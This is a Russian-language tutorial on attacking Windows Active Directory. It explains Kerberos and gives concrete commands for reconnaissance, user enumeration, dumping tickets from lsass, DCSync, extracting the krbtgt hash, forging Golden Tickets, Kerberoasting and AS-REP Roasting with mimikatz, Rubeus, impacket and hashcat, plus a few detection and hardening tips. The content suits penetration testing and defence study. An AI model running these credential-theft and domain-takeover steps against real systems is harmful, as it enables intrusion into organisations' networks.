В ПРОЦЕССЕ НАПИСАНИЯ! Реклама Никакой рекламы, держите лису Приветствую, дорогой читатель! В этой статье я расскажу о том, как взламывают и захватывают инфраструктуру, получая полный доступ над всеми серверами (посчитал нужным написать данную статью после инцидента с одноимённой компанией, хотелось бы открыть глаза на безопасность таких вещей). Для начала разберёмся, что же такое AD: AD (Active Directory) - Служба, разработанная Microsoft, предназначенная для управления данными (доступом к ним), правами и сервисами, а так-же прочими ресурсами в сети. Она управляет объектами (серверами, пользователями) в домене. Почти всегда, когда вы имеете дело с инфраструктурой, развёрнутой на Windows серверах, вы имеете дело с Active Directory. Базовые понятия (много терминов) DC (Domain Controller) - Контроллер домена, это сервер, который хранит хеши паролей для всех пользователей домена. LDAP (Lightweight Directory Access Protocol) - Один из основных протоколов, используемых в AD. Позволяет реализовывать доступ к различным службам каталогов и управления ими. Service Principal Name (SPN) - Уникальный идентификатор сервиса, используется для авторизации через Kerberos. Он привязывается к учётной записи, с правами которой запускается сервис. RPC (Remote Procedure Call) - Это механизм, позволяющий запросить выполнение кода (какой-либо функции) на другом сервере, таким образом, словно эта функция выполняется локально. Он используется для создания/удаления групп, пользователей, серверов, это достаточно важная часть AD. SMB (Server Message Block) - Это сетевой протокол, реализующий удалённый доступ к различным файлам, принтерам и другим сетевым ресурсам. Он позволяет работать с файлами на удалённых серверах, редактировать их, читать и записывать. Kerberos - Сетевой протокол, реализующий аутентификацию по билетам - специальным токенам для получения доступа к сервисам в AD. Он позволяет авторизовывать пользователей, выдавать билеты, соответственно он является частью KDC. > KDC (Key Distribution Center) - Центр распределения ключей. Он отвечает за выдачу билетов пользователям (клиентам), а так-же разграничение доступов к AD сервисам. > TGT (Ticket Granting Tickets) - Билет для получения TGS билетов (промежуточная стадия), предоставляет собой сессионный токен с временем жизни как правило не более 10 часов. > TGS (Ticket Granting Service) - Билет для непосредственного доступа к конкретному сервису, с учётом прав текущего пользователя (клиента). > Silver/Golden Ticket - Подделка TGS билета (путём взлома хеша пароля от SPN), позволяющая выдавать себя за других пользователей. Как работает Kerberos Представим, что в компании Example Inc (домен example,com) существует инфраструктура, развёрнутая на Active Directory. Она включает Windows сервера PROD1 и PROD2, а вы, как один из её сотрудников (клиент инфраструктуры), имеете учётную запись CLNT. Таким образом, вы клиент CLNT, и вы хотите получить доступ к сервису PROD1 в AD. Вы должны отправить пакеты центру распределения ключей (KDC) в следующем порядке: 1 - AS_REQ - в сторону KDC (запрос на получение TGT). На этом этапе вы передаёте имя клиента (ваше) и имя службы, к которой хотите получить доступ, а так-же отметку времени. Если отметка времени в AS_REQ отличается от текущего времени более чем на 5 минут, запрос не проходит, это сделано в целях безопасности. 2 - AS_REP - от KDC к вам, в случае успешной аутентификации. Этот пакет содержит зашифрованный TGT билет, сессионный ключ, а так-же метку времени и период действия билета. На данном этапе вы получаете TGT билет для доступа к сервисам, но для того, чтобы заполучить доступ к конкретному сервису, нужен другой билет: 3 - TGS_REQ - в сторону KDC (запрос на получение конкретного билета, вы представляетесь клиентом CLNT и сообщаете KDC о том, что хотите получить доступ к сервису PROD1) 4 - TGS_REP - от KDC к вам, в случае успеха вы получите TGS билет, который обеспечит вам запрашиваемый доступ. Таким образом вы заполучили TGS билет для сервиса PROD1. Супер! Полезные утилиты impacket - Набор Python-библиотек с открытым исходным кодом, для работы с сетевыми протоколами AD на низком уровне (своего рода API) [github]. Поддерживает SMB, RDP, Kerberos, NTLM, LDAP и прочие технологии, является очень полезным инструментом при пентесте Active Directory. Kerbrute - Утилита для перебора учётных записей (и их хешей) с отключённой преаутентификацией, часто используется для проведения AS_REP Roasting атак [github]. Rubeus - Утилита для пентеста Active Directory, имеется в арсенале каждого уважающего себя пентестера. Написана на языке C#. Методология Здесь я приведу подборку из популярных видов атак и трюков, актуальных для Active Directory. Начнём с трюков: Поиск AD Для обнаружения Active Directory можно воспользоваться утилитой nmap, или любым удобным сканером портов. Основные порты, которые использует AD: > 53 - DNS > 88 - Kerberos > 135 - RPC > 139/445 - SMB > 389/636 - LDAP > 464 - Kerberos Password Change > 5985 - WinRM > 9389 - WS Management Сканирование на примере nmap: nmap -p 53,88,135,139,389,445,464,636,5985,9389 -sS -sV -oA ad-enum <ip> Разведка через DNS Для разведки можно (и нужно) использовать перечисление поддоменов. Сделать это можно по словарю, одна из утилит, реализующих такой функционал - gobuster. Использование этой утилиты: gobuster dns -d example.com -t 20 -w subdomains.txt Пример того, что может быть в выводе: www,example,com - Основной домен, продакшн dev,example,com / staging,example,com - Какая-то тестовая инфраструктура mail,example,com / smtp,example,com / imap,example,com - Почтовый сервер jenkins,example,com - CI/CD система test-api,example,com - Часть тестовой инфры, какие-то API cdn,example,com - Сервис доставки контента (хостинг для медиа) В целом всё зависит от того, какую компанию вы тестируете (ну и от размера ваших словарей). Так-же можно воспользоваться следующими скриптами nmap: nmap --script dns-*****,dns-nsid,dns-recursion,dns-zone-transfer -p 53 <ip> А ещё при помощи скриптов можно узнать AD домен: nmap -p 53 --script dns-nsid,dns-srv-enum <ip> Исследуем DNS зоны для получения записей доменов (указывается айпи адрес DC): dig axfr @<ip> <domain> Узнаем больше информации о конкретном домене: dig A <domain> @<ip> dig SRV _ldap._tcp.dc._msdcs.<domain> @<ip> Получаем все записи: dig ANY <domain_name> @<dns-ip> dnsrecon -d <domain_name> -n <dns-ip> -t axfr dnsenum --enum -f dns.txt --dnsserver <dns-ip> <domain_name> Техника DNS Cache Snooping: dig @<dns-ip> -t A +norecurse <target-domain> Используем PowerShell: Resolve-DnsName -Name <domain_name> -Server <dns-ip> -DnsOnly Разведка & Поиск LDAP При помощи вышеупомянутого nmap можно перечислить (обнаружить) LDAP сервисы на серверах: nmap -n -sV --script "ldap* and not *****" -p 389 <ip> При помощи утилиты ldapsearch можно узнать больше информации о LDAP сервисе: ldapsearch -x -H ldap://<ip> -b "dc=example,dc=com" User Enumeration Для перебора валидных пользователей можно воспользоваться утилитой Kerbrute: kerbrute userenum -d [example].com logins.txt Аналогичную задачу решает CrackMapExec: crackmapexec smb [example].com -u '' -p '' --users Для перебора всех пользователей AD можно воспользоваться impacket (нужны валидные креды на руках): GetADUsers.py -all -dc-ip <ip> -u <username> -p <password> <example.com> Так-же это можно сделать при помощи утилиты Enum4Linux: enum4linux -a -u <username> -p <password> <dc-ip> Kerberos Enumeration Для этой задачи мы можем снова воспользоваться скриптами nmap. Базовая информация о Kerberos: nmap -p 88 --script kerberos-enum-users <ip> Проверка на наличие популярных уязвимостей: nmap -p 88 --script kerberos-***** <ip> Перечисление SPN: nmap -p 88 --script krb5-enum-useres,krb5-scan <ip> А теперь пройдёмся по самим атакам: Атака Pass-the-Ticket Данная атака позволяет атакующему получить билеты учётной записи (в идеале - с максимальными правами) из скомпрометированной машины, и использовать его в дальнейшем. Один из способов получения TGT билетов - дамп из процесса lsass.exe (Local Security Authentication Server), данное действие требует привилегий NT AUTHORITY/SYSTEM на текущей машине. Для этой задачи можно воспользоваться утилитой Rubeus. Смотрим, какие билеты хранятся на локальной машине: rubeus.exe triage В выводе мы увидим таблицу с колонками LUID, UserName, Service и EndTime, а так-же текущий LUID. Проверяем наличие прав на машине: whoami Убеждаемся в том, что мы NT AUTHORITY/SYSTEM, и дампим билеты с машины: rubeus.exe dump Rubeus выгрузит билеты из lsass.exe в формате base64, в последствии их легко можно перекодировать в другой вид (включая .kirbi). Полученный билет можно импортировать в текущую сессию: rubeus.exe ptt /ticket:data.kirbi Атака Golden Ticket Это вид атаки, при которой злоумышленник получает возможность получить хеш сервисной учётной записи krbtgt (пароль в зашифрованном виде), следовательно получая при этом все полномочия в AD инфраструктуре. Наличие этого хеша позволяет подделывать абсолютно любые билеты для любых пользователей, потому что с его помощью подписываются все TGT билеты в домене. Злоумышленник сможет записать любую информацию в билет, к примеру указать что он является админинистратором домена со всеми вытекающими привилегиями. Интересной особенностью является то, что этот хеш практически никогда не меняется, от этого его компрометация становится большой проблемой в безопасности серверов. Это обеспечит злоумышленнику беспрепятственный доступ к инфраструктуре, ко всем её сетевым ресурсам, базам данных, серверам и тд - потому что проверка пользователя происходит только на этапе AS_REQ (см. механизм аутентификации в Kerberos). Таким образом, злоумышленники могут скрываться в сети годами, оставаясь незамеченными, но всё же способы обнаружить такую атаку существуют. Чтобы создать Golden Ticket, необходимо следующее: > SPN домена > SID домена > NTLM хеш учётной записи krbtgt > имя пользователя (можно указать любое) SID можно узнать при помощи команды Get-ADDomain в powershell: Get-ADDomain NTLM хеш можно получить при помощи mimikatz тремя разными способами. Используя атаку DCSync: lsadump::dcsync /user:krbtgt Используя базу SAM: privilege::debug lsadump::lsa /inject /name:krbtgt Используя модуль sekurlsa: sekurlsa::krbtgt Первым делом создаём билет: impacket-ticketer -nthash <HASH> -domain-sid <SID> -domain <domain> <username> В текущей директории будет создан файл username.ccache, необходимо экспортировать его: export KRB5CCNAME=username.ccache Теперь подключаемся к нужному серверу при помощи psexec (часть impacket): psexec.py -k -no-pass <domain>/<username>@<hostname> На этом этапе мы получаем удалённый доступ с правами SYSTEM. Для того, чтобы защититься от этой атаки, необходимо регулярно проводить аудиты безопасности машин в домене, смотреть **** событий (обращать особое внимание на ID 4624 account logon, 4634 special priveleges assigned to new logon и 4672 admin logon), если эти события содержат пустые поля, это может говорить об успешно проведённой атаке Golden Ticket. Так-же внимательно смотрите на запросы TGS - если он был инициирован без предшествующего запроса TGT, это повод насторожиться! Атака DCSync Эта атака позволяет злоумышленнику выдавать себя за DC, для последующего получения учётных данных, как следствие - позволяя ему перемещаться по сети и получать доступ к конфиденциальной информации. Атака основана на механизме репликации данных между контроллерами доменов (за это отвечает протокол MS-DRSR). Во время этого процесса между DC передаётся чувствительная информация, а именно хеши паролей (что очевидно, потому что каждый контроллер домена является точкой аутентификации). Сама Microsoft рекомендует использовать от 2 и более DC для повышения отказоустойчивости инфраструктуры. Для того, чтобы выполнить репликацию данных между DC, вы должны иметь учётную запись с расширенными правами доступа (текст кликабелен): > DRS-Replication-Get-Changes 1131f6aa-9c07–11d1-f79f-00c04fc2dcd2 > DRS-Replication-Get-Changes-All 1131f6ad-9c07–11d1-f79f-00c04fc2dcd2 > DRS-Replication-Get-Changes-In-Filtered-Set 89e95b76-444d-4c62-991a-0facbeda640c (опционально) Такими правами обладают следующие группы: > Domain Admin > Enterprise Admin > Domain Controller Проверить у кого (группы/пользователи) есть такие полномочия можно при помощи команды Get-Acl, для этого нужно указать домен и GUID (айди права): (Get-Acl "ad:\dc=<domain>").Access | ? {(.ObjectType -eq "1131f6aa-9c07–11d1-f79f-00c04fc2dcd2")} Одним из инструментов для проведения такой атаки является Mimikatz. Отправляем запрос контроллеру домена на синхронизацию всех объектов в AD: lsadump::dcsync /all Отправляем запрос контроллеру домена на синхронизацию данных конкретной учётной записи: lsadump::dcsync /user:<user> Атака Kerberoasting Данный вид атаки позволяет захватить сервисную учётную запись при помощи запроса TGS, выставляя себя за этот сервис. Затем, полученный билет ****форсится для получения пароля от данной учётки. Мы можем использовать impacket для получения SPN: GetUserSPNs.py domain/user:pass -dc-host <host> -request Сначала происходит запрос к LDAP с целью обнаружить SPN, затем запрашивается TGS, где мы представляемся одним из полученных SPN. Данная команда выведет длинный хеш в формате $krb5tgs$23$SPN$host$domain/user$xxxxxxx. ****форс этого хеша можно осуществить через hashcat: hashcat -m 13100 hash.txt wordlist.txt В целом, по принципу эта атака схожа с AS-REP Roasting, о ней поговорим немного позже. Там же написано о том, что KDC не проверяет пароль у учётной записи с отключённой преаутентификацией Kerberos, а точнее зашифрованную метку времени (она шифруется при помощи пароля учётки), этой метки нет в AS_REQ, полученной от KDC. Подобную атаку можно провернуть и при помощи Rubeus (вариант при наличии учётной записи в AD): Rubeus.exe kerberoast /outfile:tgs.txt /domain:<domain> /dc:<DC> /user:<user> /password:<pass> /spn:<SPN> Атака AS-REP Roasting В случае, когда предварительная аутентификация (AS_REQ) в Kerberos по какой-то причине отключена, контроллер домена может взять на себя эту роль. и отправить AS_REP (см. как работает Kerberos) пользователю. Данная атака направлена на получение хешей паролей для пользователей с отключённой преаутентификацией. Учётная запись такого пользователя в AD должна иметь атрибут DONT_REQ_PREAUTH, зачастую криворукие администраторы отключают преаутентификацию для совместимости со старыми системами. Злоумышленник отправляет DC (см. начало спойлера) пакет AS_REQ без зашифрованной метки времени. Сервер, в свою очередь, не проверяет подлинность пакета, и отправляет ответ AS_REQ c TGT билетом (зашифрованным хешем пароля от учётки krbtgt) и сессионным ключом. Злоумышленник извлекает оттуда зашифрованные данные и ****форсит пароль учётной записи, в случае успешной атаки он получит этот пароль в открытом виде. Извлечь хеши можно при помощи impacket (скрипт GetNPUsers.py), пример получения хешей в формате John the Ripper: GetNPUsers.py domain/user -no-pass -usersfile users.txt -dc-ip <ip> -format john GetNPUsers.py domain/user -usersfile users.txt -dc-ip <ip> Для того, чтобы защититься от этой атаки, необходимо принудительно включить предварительную аутентификацию для учётных записей с DONT_REQ_PREAUTH. Если в случае успешной атаки Pass-the-Ticket получится словить TGT билет учётной записи DC, при помощи атаки DCSync станет возможной компрометация NTLM хеша учётной записи krbtgt, создания Golden Ticket и последующего захвата домена. Почаще следите за активностью ваших серверов (включая сетевой трафик), грамотно разграничивайте права доступа, используйте сильные пароли, не допускайте глупых мисконфигов, а самое главное - не забывайте вовремя обновляться) Надеюсь, данная статья была полезна для вас. До скорых встреч!